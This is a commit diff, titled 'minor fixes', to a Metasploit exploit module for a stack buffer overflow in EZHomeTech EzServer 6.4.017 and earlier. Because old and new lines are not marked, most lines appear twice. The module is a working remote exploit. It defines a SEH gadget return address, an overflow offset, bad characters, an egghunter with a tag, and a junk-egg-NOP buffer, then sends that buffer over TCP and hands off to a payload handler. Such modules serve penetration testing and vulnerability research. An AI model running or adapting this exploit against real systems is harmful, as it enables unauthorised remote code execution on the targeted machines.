minor fixes
parent
10bd72f3a1
commit
2df237b066
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@ -13,22 +13,21 @@ class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Egghunter
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
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'Description' => %q{
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This module exploits a stack buffer overflow in the EZHomeTech EZServer.
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If a malicious user sends packets containing an overly long string,
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it may be possible to execute a payload remotely.
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Due to size constraints, this module uses the Egghunter technique.
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'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
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'Description' => %q{
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This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
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user sends packets containing an overly long string, it may be possible to execute a
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payload remotely. Due to size constraints, this module uses the Egghunter technique.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'modpr0be<modpr0be@spentera.com>', # Original discovery, MSF Module
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'modpr0be<modpr0be@spentera.com>', # Original discovery and Metasploit module
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],
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'References' =>
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'References' =>
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[
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[ 'EDB', '19266' ],
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[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ],
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@ -37,25 +36,24 @@ class Metasploit3 < Msf::Exploit::Remote
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{
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'ExitFunction' => 'seh',
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},
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'Platform' => 'win',
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'Payload' =>
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'Platform' => 'win',
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
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'DisableNops' => true,
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},
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'Targets' =>
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'Targets' =>
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[
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[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
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{
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'Ret' => 0x10212779,
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'Offset' => 5852
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'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
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'Offset' => 5852
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}
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], # pop ecx # pop ebx # ret 4 - msvcrtd.dll
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 18 2012',
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'DefaultTarget' => 0))
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'Privileged' => false,
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'DisclosureDate' => 'Jun 18 2012',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(8000)], self.class)
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@ -68,9 +66,9 @@ class Metasploit3 < Msf::Exploit::Remote
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:checksum => true,
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:eggtag => "w00t"
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}
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hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
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egg = hunter[1]
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egg = hunter[1]
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buff = rand_text(target['Offset'] - egg.length) #junk
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buff << egg
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buff << make_nops(32)
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@ -81,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
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print_status("Triggering shellcode now...")
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print_status("Please be patient, the egghunter may take a while..")
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sock.put(buff)
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handler
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